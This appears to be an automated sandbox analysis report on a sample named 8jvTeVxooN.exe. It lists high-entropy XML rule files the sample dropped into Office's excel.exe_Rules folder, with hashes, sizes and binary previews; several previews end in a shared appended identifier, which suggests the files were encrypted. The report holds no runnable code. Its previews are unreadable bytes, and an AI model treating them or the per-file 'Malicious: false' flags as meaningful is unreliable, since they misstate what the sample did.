Preview:	<?xmlG1..;.N..@.,!.. .W.o...U,w...1!"w......o..;..c.7...q.W.z../"..P?...%..p..C.....v.C1.Nc..._R1..k+aB.w"..0...L....-...\|3.].}..P..H..+..#..Y`L.....~...=.l.kE..9..9...a...2...d..9M...?.>4..ox.8Z.t...........P...$.x.c"...d......K.N"....n.d.(ua..D?S.\|.....{N8..Z....:......=...Fq.K.\|p5..,.4.#e\.C.c3\|...5\W..........GS.K..5....$I.fs..=....<.....t.....\|V$..U..S.0{.F.6o.....Pq.:.....o.2..@)..J]m.....{/..c.!..$.....pk..;..:S.....B...YT.A.>..2..f~.u..=.2$.%...Z3..bTE..;....]...@.ss.6;.....Pu.O.D<..gF....>.TK.v.h6:^..H(~\|z....-"x.o3i..o..)c..D.;...T>.NIHu..g.9!RR..Q..KK..J-......}..0BM@.-0......p...Q...n.j.G.d.......\[.....o..L.&/L.0..$d..0....f......y..UL`..U...wA.....,...kE...(L.j...V..0c..9.Z..{.L.1Oz\.`.~Pty...........(........K`w...O~..._...{;=%&Y...blbU.u.7.`{...C.q.Q.>nk..[..%.y[.8.h...h'....W..wA1.. .......N.Lc..0Z1.W"...n...s#..+...nTw..ii#v.u^(..:.n{7?(,(....O/4$\|;..Y...{[...p{ZA....(.m.RO/...E..fg.........E*....B:.E.._.....m.:N.Oy..t.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63059v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	950
Entropy (8bit):	7.76076082435964
Encrypted:	false
SSDEEP:	24:6vQA7DwVi9y7iZ6HQMFNOW9R3WxjVGtXhkKDLZD4i3mkObD:/AR9SiZMZnOgGPwtmisD
MD5:	383811C35CA68C4D855651A23D9D7C39
SHA1:	E0916FD7BB444804A8A6575771F9BB90C6B5BABF
SHA-256:	11317E86741C7BDF4DF5F3EB5C9C034922FC50B68EF191E38961BEA039429FC4
SHA-512:	DEAE7933E4D74123CDC548F8A726F3F6D977F547B8A4F70DBD3116E4C72D0DF83AD9DD643AD7FB3614D0270E7BF6C55CAB26A0EB02A82BDC271BCA577393800C
Malicious:	false
Preview:	<?xml.c..b..&D.....a.wD.r.....sHwv....,.b....`.(Ni.....9..7.i.uN... j..f.U.R......H3b.6...".,..ve...pG..:C$.h.c......Fi...!Dz..`..D.j&.7}.h.T.....B......gl.~...87...,^....y..?.XS?....0C0...t9...n..d0..3....G.D.....y....@.].0..A.\|..>.t7.....G.....HTo.y2..\.p.........L.....M.l+..@x.P.]A3CvD2J`..n_v.w.a.;..n....7.V9[.7h.lM......0.(i...H...l.../$..9.~.I.oF.5..S.?;...3._..i.-.l.....n...H...?..2 ....T<.9...`....`...?....#..o.G.4t..=...Z....!..0a.!.7.;YVL.Z.-.....'\.g'T{._..BN(.w.9........t..AX\+t.QkM_d...K.,..F...3_.kh.6......".[.......A..._.-P W.).9..)........Z&.CV...A/7.Z"5(N.yE..'h.6../.P..<R.s...r,w&..\.I.G~7.%.@..]E.tb:E..q.E#.H..^....#...a.......Zw......D.R.......{.~...v..K....1..........J9..H6...y.G...vz.....<j...@.h?...V5...V.....D<...#.....4>>.l.....=.]qN.@V....+..$.......ep\......ZH.T.e..Q..C#.I..yZrh..-5....'Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63063v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1125
Entropy (8bit):	7.817255665081501
Encrypted:	false
SSDEEP:	24:ZLV85j//g2kqLXsolnZ30cQIwdZ+ub4FokaAWObD:Z58Z/I2fLXs0JkIZub4TvD
MD5:	F4DC92F0FA26E88565BB5A6F128904A1
SHA1:	A3480E5C0C3BDA7612348CB283E57075EE462651
SHA-256:	BA1A061B8B2C6C42EF5832CA64E26F35E69AA47BD6AC68833E56CD01C69978A3
SHA-512:	62E4C1626A7095D6AC8752462A3D6268F7F991868366A8D6501ED30B4DE5D575784D36224CB1D8D9EF099FEB0C2CE8EB2E74788733CDC841A7AA1FF2B757142A
Malicious:	false
Preview:	<?xml..t..#.;....C...5.....Z.`....6.,.....S.\|^..y..h..Z../\|\|..&...D.?Y<.]...rY..~N....@/....O..T=.=F.aR+..&.[k...ffCXD...vcN..5..a..&,-.J."...t.U.As.%Q.M.k.Y...n\|.E............M....p.=..79AO..........l.......K.L.jXIY..2..........Y......1.a.....'..ngVzR..`..T...2.}:.]w...../....T.y...!.a\..yk...o.#`........W.wN .....g.T3.C.iD,.MC4]...]~c...\|.$...8%.k..&..u.?...z._..x.2...5.z...n4@.7e.......y.+.Yy.".UP..o....p...1......].....W...p2g.L..oB[.....,.....>..<...L..W .o.J..`.:=..1.<....c..?..B:.z.....s..V.<.......d....Q..A..=V.Hh'.lI..?......5`.Z...5B.(d.A.c..8.I....bz.`..[x.....l...i?BW........D.U....$..j9E.5.SJ x..[.q/....(.-&....% .s.OL...t.)...L....0..$..........1.'.R'i.sS..$Z...bS......\|b(..]J.....7..O.\|.....m..%u.n8.a6}~..^...4(.}....1..X.W.h).,1.I....N#......aI+.D.G.(....R.~...$.v.{...W...#^W.6r.Q!....,P.8Y\|..-...G7...........e..a...)..=..j.Z..n...D.[E.U...N.9.+.H3P..5x/A..W.;...J.....t...-N^.Nu.3.....e..V........&...G..OY$...'[....Z.W..waE

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63066v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1121
Entropy (8bit):	7.801400177763573
Encrypted:	false
SSDEEP:	24:6YDq7+MHSnfkqCyuP1OSS9CBjcLQF6o+JmzAVONwULObD:6YgynfkUutxGCFaQ+JJONcD
MD5:	F91034DDDA56462CA8603C645DB57602
SHA1:	328ECE5183DDA30ACF4157781541FD9BFB00C63D
SHA-256:	4117AE58C6C4FBDDA45686E6AB7E5386E8535403AEEAFBBD0841A6754F409F99
SHA-512:	4EE898FBC14EB3A623F79F70F82EF128353AA7A249855D6165FE4042E7C2CCF0154CCB214161389A6EF26DAC07F568BA7AB84FBB40482455F7B5B870B141A1F1
Malicious:	false
Preview:	<?xml.]Q....%......TK^...4..D].Q\|.....Hu....g...]."?c..":.Y...+o{....{..j.../6A......%...>J.v.D.v....E.E.7.m.S7^.U..o.....`.R..q.....,l'..&@...E...'.)1.,.1.Y.......y)3..1T]x....9...6._..Z..S....g".A..Z<.o5.P.:<.o..=.OxE`.D+........vsJ...TY.W..'~.8_..q..y...&N...n...o.t"Q.5.IG..e.u.Ig......8).x.....C....H&...7.=.^.L?2%f.K"..R...f....C........h..Cm...tA..!b..H....i..'c...u].....#...Gu.#..cj.....SZ.......,@B.}.:..a...r.j...}..t...W?.Mu.;<..U.u.........k.....6.m....?.;......1/rF4QY0'...a....L...%..@........\|.nu.)..ac:z.u..{B...;x.....%??.:..p.d..F..n..?.iKh..o.0\4FT.f._G.S......:@L."~q.\|...inkR.".....S...5..&.....l.l..%.O....3dE`%.o....Pj.qz......R.,k..J.XW.....'PR......QIK[..D.z..y.2..=##.YG.a.9...:.~....5.l.Z.:..ls<..M...5w-B8.~.`.4EQ.<d..x.&zG6.H...'I....".1..'..G(..g.......e..1.s-..zB..@.:...f.b.R.w.1P......8.lP"j.m.^...j..zZ...3..25....D.:Dl...~.=]1..).0z.o.7........zn\|.8U....C..sc.r. ..../N.N....e..pG....]....@....V:..:8...>.i...a.Z.@.O..%

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63067v3.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3109
Entropy (8bit):	7.929144246438702
Encrypted:	false
SSDEEP:	96:GOvd6cegkvgwCYhqu9IWPMoU2SUcwD+0M9iwgj:pdTUSvSM0eiw6
MD5:	0CD6B157E3AFB522ACE505941BE2DE6A
SHA1:	40341380F4DCFCE763077D27DAF3BE2E42E08B30
SHA-256:	CA2CFF3DFC802BC9D4F779D098F71613983F03095259AC161414D886E6BE1649
SHA-512:	46911B1ADF4C67F882D285B9AB02DFF8B85E5E22BE3283E94ADA656F8167B94906D43AC38C9D133D6A37EE1B9EE92A72B67380761F9F3FEEA27D33658DC944EC
Malicious:	false
Preview:	<?xml>.g^.!...6.(...f.\'}.t<6y..:.~e.`$}...{$L7....K.V.-.p.gg.........P....:.%...:...'m.....r....%.g..^......!.ex.$j.tg.&...o...2d}.R...7.......e 3P......9i.>.,..e..N..~<...."..0..,s)......g.......1..$.\|F"..G...(.]<#.un0.DTf....>.QW._..7../8..1o...@.vo$>.5Z.j..Xlp...."h.....P9..7...7..&o.@../..T>\..1\... g.....^."............6C.m..1_.........<._.u...........j+...Ki.<.+#.o..x'..g!.Kf.R..yg&?..m.i..K..J.d.<P....Y;....y.....n0[>.~.O>.&y..F..z.C..26.<...1F.5.1f...!.u...!.......GU..O...#L6.M2...O..5......-Q.....d{Y.,....a.&.t5K!..G....F1'.j.....-Y.Q....B\|o9.,.S[..z.X.#9.......T}H.G.7........~..T.\|..y}$..]l.=.1{l.%..@@.P.m<h.=..`...UEiB~.....=..p.@Z.K.......AH.R..9..\....3E..(ov.p.4Ym4.Z......m.....+.[....+.8.1.X..8B...U.E....$....ua%...,]...n..Rk/...oO+...DW+.kYY.@3.^...%..RB...Z<.iz.../...X.6#.....F.I2.....}$..Q&....#8..%B=Tb.=V..".(/G.St.........&.g[.U.Y..bV^.G.M....a..>l.K).}l.B.'...#}....h/.=.....a=3..AU.....e..2M.}(......1.GD..^2.c8..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63069v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2126
Entropy (8bit):	7.9059099685204455
Encrypted:	false
SSDEEP:	48:Fq1XOPau3dcm7sQelwG5NtQXW9JJ2E0kwqk5D:Fq1TuowGfGMbwq8
MD5:	9380B328E5A3D2F6437BDC4031ABF2CF
SHA1:	BCE77BE64D62CC8F16E309DBCAF37FC7B6B08AF5
SHA-256:	52BE50275E04A086074C6E67EA22595D8553AE278221A9E213076C2A542DBAEA
SHA-512:	1781F9C8DEAD40068B41F51BB54DE572C783552BD89AC9BD4CB5EF57D109542AAD63CA6F6F13A106E24613D77F8B148808D6C21CD0A8C7CC43DB5281A0FFA017
Malicious:	false
Preview:	<?xml.......I8....:./..c.=h8.c.>#.P...).=7.w.(.........y).G3.9C.....Q.....&.I~.....m.Y.\.Ff..b{.wO.!..B{w\.&M.#...y.i.d+.)..0......>........\...."...H.....x6.<..S....7.....jmW.b.T'p.r......D...._..eH...b...t.$/.,/....v...h....`..}.m17&...6'..AmN..+.k..l...O..P..m..PM.3+b0...0.:.c.@......0.C.......c.I.....VQ.g../a..... 8#S.=.YQ)1.%.2..bgpeR.5%M.X.T.t2...u..d.t=(\cmQr.F.@:$..Z.[.)...m.kj..e.=....65E.'.lS5..~..zp.s....y.].R.....wr*.I..{.I........0....J.I......i......y..6>....T...eM.....{{.SvMk.sq.?<7S@..[.)kf....l"G..9..~.....3/.V..'.....?.S'.......>.,.kt$..$.Nsf.f.......v.....<...&...\|..G.kx.l.........KnOj..3.m.}....5..-.........p....e....~.X....sJ..a..%.h..].<GG.I.m.. .ar.SzU.u....sG2..{..{....o.)......zw'l...''..$...;1....Q.<.c?\].@.?.[8.E6+.z..ngSP.......b=V....E..>'.H.p%..a4T.h..H....u?.Gr )k{......Z.Ht.'.7...X_...+..6....$n.v..U.V.C..N.......-+.U..7..W...._`k.k.0.-6z"... ../............S...I1gf_}......\|.."G....\|...}.&..{..O.C%..e_.`..s

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63070v5.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1387
Entropy (8bit):	7.843083934065791
Encrypted:	false
SSDEEP:	24:QXrJJ979/a9B20xbU2lndJ7iEGaCPDK2/SnyiZMqDBIzH8FwpROuObD:QXrJJ979/qzTldJhGR7KRnhMq8HewpR2
MD5:	EC7E551D3B7192B72214553651CCAB92
SHA1:	49BD2CCFF161117F6A2AE648703E72F2DD5E3700
SHA-256:	0591286183F4C1D454ADC83043D010553D95F5637E79B82D1F54088FBB130B7A
SHA-512:	8516CC332D6FD6A27ED59C6BF5C82790A0696D82A9F02FCAB9B225D6329CC92F622AE847EDC0024921C9C40E2866CEC57F19FD5138486D4D4E45CB477DB77310
Malicious:	false
Preview:	<?xmlm..lj.={.....8..b.'7B..P....;....).k.w...77.Lp.....!3..$?.2.o.;.R....=Z#jqK..O...\|...<q."...Z.;.mY....%f.Q5vV.v.k.\....dW.Yqi....?..".I......\|...^g.F............-....H...W.2$.,.)%...c."...4a...N.......\(. .On.$:f2...<......).ox]r./.....{P.F.x..B..\|.O+..&.f..,....0.H.T.jL95.`....r.'OS`.0c....k\|z.8.+.H.V7..#.\N..e...k.......]...G.$zX..g...~..A_TJ.+..b.._..5e......kAq..n..5`......W.q..[.\|.-..S..cT..v2..i&....3..+..0..:?..:.3.9....D@u...f=.....1......9."...#5...d.k.../R...."?......u.....P.}g[ggk........3(/]..;...x.OP....".......7.[C.I.3...M..?.K..}.KFb......o)....%v.=\.....Q.....>...;..AM.R.f.=.!r.h...Z.X.1}.dii.Q..[......J.U#M........U.s...9.?..!.7....Z.E..@.[4.9.....r....L.....^..5..~..~.e1...Y...V...7.W."2z....cD..R{:[!Zk.2......0....,...."....T.!...{`Cs.&.W.....>...\..2..#.f.....Xv.l.8.N.d.[....h.)lf...#..Q.k.yB.....[...i.1.Ne-..?......B\.........O....1...XXF..3)...$..o.L%....C..`.}..&O._t...e..#M.w.m.H=.a..r./H.O5..:

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63071v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	754
Entropy (8bit):	7.675573859751123
Encrypted:	false
SSDEEP:	12:nlP+kjcj7fB3Pa5AXL0hEViU/RZGjED2wj6hi75EXKI77iV5NatnIiH3uOcii9a:lGf7Z/3ijlwjKit0h7OV5Itx+ObD
MD5:	A6F62654786D9394E96D74436AB38D4E
SHA1:	623EA86A5F2C860BCD81A477F6EB7B9230B9406D
SHA-256:	3EA584C9B13FF0FEC1669B34ED265D2AAF85F99C346E0918A4CA92F2E181ED13
SHA-512:	C35DF2FBBAC4AA0E7A669985986C6D74D75DCD6EA5528D31ED922F96FD72D02F55BC84A33A15DF329525DE6BD9D630B0D2E0078C6F7128B1FEEC5DA1FEA24FAB
Malicious:	false
Preview:	<?xml..w;Y..$3..E.".w>.:'.. z0.N.G...4...?v....,(.s(..Q..*.b8i.....M...........A...).f..7..q...q....s&..z.7@..9U....M..J.;...bSA#.[.......45..+lMeP...m5..l.....a..g......R.\|.:....n..J. ..T..e..SE.^V......}.3...l_I::2...)...a.Q.Q^A.......1....z...3..L...=..l...my.g2%J...:...F.'.......w2.C.a.....Eld+..H.Knc.`....%......T......L.m..........b.D{..8.6.Z.E.'( ...m.7.[DT.L......-)....V.e..1u.F.g....Q_.XyF.D......1U.C...../.>.^......{?....&..$..C.S{......?.};R.\|.w?.E.m.....w...\3.....o2u..p.&...o..^..2D..(.6C. b....r1..F3..o...PT....hX._?.~.-...b..........'..<.N._.biw.5.....?r..<D..aIz@..P.G..!h$......!D.A...<,..$..8._ ....,.9j.A..L....i...%.b..Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63077v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1399
Entropy (8bit):	7.852808485037711
Encrypted:	false
SSDEEP:	24:g2dvf9BN5p6hpVFSI02RQTMeoqgOwwQkFgo7JTDVilWQ77y11aSSUvoMMF6VpVJI:PR7Ih3MMeoOw+fR7Ou5SmVVpED
MD5:	5B7CF3AF60E20933286FDCF626537FFD
SHA1:	5BC42C485D1BFDCEF09BDBF5A13E76A9660F66C4
SHA-256:	E62255227018DE1C3FBE57F3312A96CED3D3755E69DC37CE2EE43F24204ACEF3
SHA-512:	D7B8B1F1CB76B49C7D329B59C5FFDAF64FF2A9F05D3F01C92A12D1FC70DF8810B460BD42FCC191730DCE885EF05ACF92157070D6AB01159D0CBA8471433BD0DE
Malicious:	false
Preview:	<?xml4.?..`Z2.'_0.$.....v......5e...D&..H..8=2.+...o.8x..<._.-bk...u......me..'..{.c..$.,........!.I......?+.>.Q.Gi.....;w.}..l..(..k.\|.=.#.....S..Cwvq./:...e.6b.?....xP...A.`....G.}..d.m..^.....\|.o....J........L..\..e.Y.W......D.....8..........1..6"..]..q........2.1...K..]....(.K~LyR.....2.L....dQ.g$i..O...uv.g.Y.y....eu..#A}....05.;.(.-...+K.[.3.;...QT4...\".o..M.wJag.....4-}\|.8.E..........;..{..S..........K.K..!.u.^.Ck.\..F....W.>....a?y.8..~L.fS..`...U.Dzos@{..%....CD...om.z..P.'..c......5J........!.....g..t..HL....3.d....EK.D.6a..._D..%...G}#0h.c.B...j...H..&q....h4..Z......1..8A.`QtQ!......M..SN.V...JE^Pt.T..)['...d"...z....a..M.....y...#.1.>.P.0.......yq....D.r^...$6..r.;a..V\|.{i.....x...s.......3..a...K.....YM.*H.u@Wo/(...q....%N.Q=.su.$..e......D.^./...C..c.....9mS...%....O..D$...[....Z.&D.O....X.C<@3..#..L1G..=..fv.....c..c.N..m..N3op..0.."y.E(..ME.q&...6.......FW....):]t.. O.E.!~t.......L...A.A..FzEc`g. .Q..`.......e...\.E....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63078v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	708
Entropy (8bit):	7.670871416491925
Encrypted:	false
SSDEEP:	12:EUC72bjTz1d1H7J79nUkfCvWzH/fRJR1gOVrmslf3jkOCGdw9ciY6huOcii9a:TAgjTz9JfCvWzH//ngOVSCfzlBdw1YnI
MD5:	4DDBF8D1BCE1C05E8F7B41C327F025F1
SHA1:	BC4E3F7E36582ED0002D50B5CB0BEB623FDD8D85
SHA-256:	DBF3DC024A740A5DC93E49B2E026273AD855621DE786EC7AA5D0CFEC5BAC37F3
SHA-512:	182209B6B00E25FC49A7D6DEFC5027ACC6B0E09319560567D83F6E6D8ADDA2CD2AE0275202C2ED5D3199DAD7A77BF9BA9A6A288CCEA4998C182D04C4BB7DE9A1
Malicious:	false
Preview:	<?xml9...K#.....i.{}}..=z~....Yv.].....{.......J..<....i.."]...<c_M.]...Q..F4.......Yk#...<l.61..r....U?....b.4.lO....Y.$..S&e.O..2.K....vV&J.c....1W..."......z.......;.{`h%.`...Z.H.<=...w....B1R.r?.,...H....Q6.T`....3.7.Gv.V.G.u.n...&...$.R&../j..$o.C.Bg.f..y&/..3\n.C...oT../).......=..B>m.\|.a[?.8.9..-.+.r..S+..Z..8V.;...+._.QS.ft.ki/.dA..D..g......<W.q..\|16.,eG.GX.+].{.hv...v ....g.v....l.J..^..]....&..1.T.U..(6.<..v..[.VZ....eZ..;9(.D.G....m....S.>.8..lK$j.p(.X....../..)b..C.Yq.a./..`..F9...\|Z.....)...Z..H27..=e........G.!.P.>..MQ8_..c....-.....5\|....Y=......@.3$...)..\.\..6......Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule65136v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1132
Entropy (8bit):	7.7974643377537785
Encrypted:	false
SSDEEP:	24:J19xAaHonXUKoy6q2RFj1a7qkThPKwzYyG5kQLRpVxO9u1ObD:PmEKOFRaGwPYyG5rtqu6D
MD5:	C29E7E5E87AD4C0E90E9BB79C7DEF60C
SHA1:	2BAED853B5A2814CD9F52B38F24E2B82F197AD40
SHA-256:	841424C610FB84A4CC3FFA5BA688A5D602EEEC88F9B177068924161F3121667A
SHA-512:	9377E4BD0BCEDF2E99EE26C5C76A63F17EA0FBDC3777A51B5EEB807522445D6FAA58CB656A48E558C9FD15AA37029AE498C504AFA69F4ABFD6A7F75D1086FE89
Malicious:	false
Preview:	<?xml.\|...".M.2.r.....l.^..ZP..Y;.r.~.'..M%pq.....&....g."....ii.-iU...y.K%MYQ=...V..;....a[..\s...s..0.l..O3.....k..Jm......4..VmV>..EU.Z.Z.e...(.$........H.D'....W...#P.a........).r..G.u...\|........y\..T..]:.nf....b..nSYr.W2.~...o..._...L9<.G8......%+H..S.&.mkj.e3/..e.......h..{...K...[26..V..[..;V.d.(~..P.{hk.{M..0...?.qM%.q..f3p..g.Hf.'.k[.ili..;c..h..W.?{^..<JB.o....k.6Fi.,.L.....X.E..r.x.l9...._....c........1.f^._G..+........f.T.)...w.C._.....2\s....V..Yt....=^..3p$..C...%...o.q.6......H.5..F.O}w........\R.8.8..K..E4.6......=j_...6.'J..:.gp..ij..$...z.&$.').........5Mc4....NJzM{.>.q...c%].#.-.bf...o.KF&_....:f.....n...."t..u(.P...{..M\|X....~.......Vm...Yn.O..L.Im:..gO.{Ap...Q..SA.E\..{#..u:]I.-..l......R.K....c...NS...s.%N:<.kxh........r.N.%m...M....{82..'.\.1.2or.&../.H.\|.\|UVSv-.M....'..J.B?...o;p..\|mwd."..9.P.@.C._.o.........wGG...\.{.....aA....f..Tx..vT_.J.v.h.D...L........s...i`pae@..(I}e...]...@.a.B..#.7.R.\.....b..Y

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule65137v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.6810370768607
Encrypted:	false
SSDEEP:	12:npfx4aZC87gOId0RYrLcGy1YFGMquVTduwJLwCxhu4XFil3UMbuOcii9a:npG881WRKLeYFLHTdfMCxhP23hKObD
MD5:	EB15AECF12FB3C6039EA233B67CF1E9F
SHA1:	26E23C14843B524526CB3B6556D06DD3BFB33AF6
SHA-256:	2D7E6BBF8000E8CE0547D124793D2786B2096639C3FF080F747D6AEAE9C9C845
SHA-512:	AF2B05AD3BBB08D59EC2ED7936773431E190C6B4D3A8F13949EFD5CF9FD6058DC30EEE824BCD853A1AB04CC9E1C5131FE043499A3332EE77D0367A3717E4BC77
Malicious:	false
Preview:	<?xml..Kt...m.2aO....~A.^([H:.owq......k...+.yg8qT...Qw?..1.^..J>.V..M......cB.EI.....qC..:7.....l."`...5..yUtEw.....Xp..%^..~..MJ{.z............l...=.`i....h....LN....})...:....?..W^.xHPV....lw\.v.X-.E.p.....G..Y.a...)jd...{.8...p.8.......UU...H..h^...n1#...+H......H.^y...."My......`c..v.B&.U........A.rp.\=b......tr,..s#.@..aX.9..Cn..'K.....2.....Q.K.TV.V.6Q...{...4 ....^g./}.x....aY.1R..2.GD.tP.i..AF.(.u7{. 5"%.@$..B..+?...............\.........]...}.?....g..IHn./. A.7.k.).."h.lrU......+.O.Xe.K.{o....I.o..@a..(.O.......\|x&?.{.WJ(L_. J....y...O....B.{....k/b.Q.s4%.Y.W...].d...R.5.,P.%..u.?.*....4....?.._.e..E..P.9f..T......Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule65138v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1094
Entropy (8bit):	7.828800162905315
Encrypted:	false
SSDEEP:	24:JbYI8X3v2PSnw003dIeCiWATrZLSusTRvAjObD:JbYfX3v23P3dIeg81DsTx9D
MD5:	17C1EE8A82109CBC0EDF35AAB30F15C1
SHA1:	02511D5BC817FB576D95F9A642E76F7D33220C6B
SHA-256:	1FF482A7A7782F5E1A5B1961E9436EE377669785D9557C613D23292F3FC51473
SHA-512:	E06058B1208A59EB1E5D9EBEEED358FE10741F8B57A0745E3F54A9883C2A949A34DA6B1E64BEFF279BFC9D61778025B6487B23D3A878A7C1239588415DEE4874
Malicious:	false
Preview:	<?xml..:...)\|.6.'...q.BF..7....J.v.D. ..;J..5.k.@...\|\.}..bZ..e.O....m.vL)..@.{p......I.4....z2..['....9.A;.......Iv'....+.?..kz.J..6Q..j...Q........:.pm.Kt....0..%.R.n.1.p.2.n...F/C........V..H.tV<..Q.ZaR)/".....AV]....A.=....l..TX..yM..~....C./P..hqb. ......otYj..'Q.siQj.r......-o.c9...`'Y.+.Q<~<(.p....H....B.. ...c..<.rY.o_....C[.D..MJ.....K..T..n.$/...'...`.<..L.<l....u...(.....f.[.=w;xy......9G......?.(...dL+b..!..:k....(.k....2.....D4..En.3]+..W.y.r.x.&..Z>lTgs..4.}.....$..a.,.......{U...M.k/.\.Yv.N...U..I}..l:a.C..N #..q.....}..q!.1{.5....w\aX............`..Z.g.Z...I....^.h.....p...U'&............N>o0]/q.e..<.O).9..vO.\|.r&q..i...K..V3\|...f...g...eR4Vj.%..5...J.F.'....Lw....j?.\.n5s~.I.....M.C.a.y.9.fe...Z..]4.F............".1r.#.3.8.2..%....l......Ep..{y....[.l. p.q.B.S.q....l..j.?.g...k....<K..6..6..'p&.?sZ_..i*X....E]..-.N..).v:.....V8td.W....?.?....+.......}4K\%4..W[.6...H......pv.C...T{.4..../..z.O.m.=.%%....7.1X`..v....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule65139v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	8095
Entropy (8bit):	7.977757259521272
Encrypted:	false
SSDEEP:	192:TZuzNmIrzqQ720rsMNAXhj59xwsA+bf9jTTqLy:TZwvijvdXhjtfxT0y
MD5:	271803FD36216755DABA239CEC7061B7
SHA1:	B6CDF7238688D3EE7B39CF0CF9380481323243B5
SHA-256:	5432CA63FE08E1C2A750CB125A1766DB68FC51DBEB3D850D8793D7B063396FAD
SHA-512:	16D3340A77C28375FC5A810418F3B8979998A856EA452EB3093ED7DEE46767B67F0ED86F9B0BF921110C0892BEE04F6B44A5712C9179EBC35362A1DD37454725
Malicious:	false
Preview:	<?xml..]...e.Y..xzk.vw.4$. .UN......S...... h.X%Q.......\|b.\|. ....S....c.F..6.............JH.L.k.z-..v....../.r.0...p<.....A....\...~..\|.....?..)Fwo1....m.hk.z'1.eV....E..^...w..p-..k4hiAuv...KU....pH.R...2..(J.=yA...(Sz.Z.O.b..M.v..D.S&.N..d...A4:..L^.G....0..u.}q.u]..}....B2..~.......d?..r.#....m.U..Z:........n.H:B........$...F......k.WpZ..4.."g.;8>.......7..PR.Z...]...h._.F.]Q.{'...Q.C.......z......5..p.i.... y].K.3@..M.".L...J.:<./.B1;..\|,......l2..:TZ.n...J.Z...X.0.......@.oQ=!..57...,h(.......K.8...l..T.{..H.HN...BG.l.....>.g. .s.....")#..k....b.;2...$9Bb....}.D9..$..[y.BQl.YU.U...$...d....j.&.o...](}.w*..\#W$.....@..q...K.8.h......qt..}..O\n..%.j0.})O.!L.....<:.f.l.TQ....0..]Z.FJ..+M.W..6y<5r.M;.l..P.k..~...t.,.U.......w..y.MH.....#;z....'s.P.kh.#..Z.....5...$%.".....X..f.ZQ...L.p!.7B..%U......T.,.........r.........sn(..,b..t.....Y..k.v...a......?/.....%...y.k`>x.B.{..>......c....j..n.U.nAM$....[S..(s..e.:..:...X...;...!.&.@....'..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68000v3.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1047
Entropy (8bit):	7.812028435227115
Encrypted:	false
SSDEEP:	24:FhKs0ev2YsAOadEwtcdidN/s5ztMB5+p9F2ObD:Fhd0evjP2wtcodB25I5qZD
MD5:	5CDCD3F07383372DAAA096FDF705FC4E
SHA1:	A90BD12377831F7FDE59CC8605EAE71CA9658A89
SHA-256:	657A649880C48F9687D5EE3049F3A7269C8D543EEAEEF9D14B89C7509F8EE8C8
SHA-512:	AC50968C7CAEFE1E28FDAC28A984CC04D15CE14B6B4FC541917D8E8EE9A1BF67B54DF0EFA7589BA398CF92C46667121F7AD01518E5A6B04098C4D46EB37ECED9
Malicious:	false
